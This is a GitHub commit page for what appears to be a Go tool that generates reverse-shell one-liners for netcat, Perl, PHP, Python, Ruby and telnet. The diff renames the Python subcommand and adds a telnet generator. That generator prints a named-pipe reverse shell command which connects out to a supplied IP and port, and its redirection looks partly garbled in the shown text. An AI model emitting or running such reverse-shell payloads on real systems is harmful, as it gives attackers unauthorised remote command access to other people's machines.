Skip to content

Commit

Permalink
added telnet revshell
Browse files Browse the repository at this point in the history
  • Loading branch information
eze-kiel committed Aug 9, 2020
1 parent e4ae5d6 commit b663dd7
Show file tree
Hide file tree
Showing 2 changed files with 12 additions and 2 deletions.
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,9 @@ COMMANDS:
nc Generate NetCat reverse shells
perl Generate a Perl reverse shell
php Generate a PHP reverse shell
py Generate a Python reverse shell
python Generate a Python reverse shell
ruby Generate a Ruby reverse shell
telnet Generate telnet reverse shells
help, h Shows a list of commands or help for one command
COMMAND OPTIONS:
Expand Down
11 changes: 10 additions & 1 deletion main.go
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@ func main() {
},
},
{
Name: "py",
Name: "python",
Usage: "Generate a Python reverse shell",
Flags: myFlags,
Action: func(c *cli.Context) error {
Expand Down Expand Up @@ -96,6 +96,15 @@ func main() {
return nil
},
},
{
Name: "telnet",
Usage: "Generate telnet reverse shells",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Printf("rm -f /tmp/p; mknod /tmp/p p && telnet %s %s 0/tmp/p\n", c.String("ip"), c.String("port"))
return nil
},
},
}

// Start message
Expand Down

0 comments on commit b663dd7

Please sign in to comment.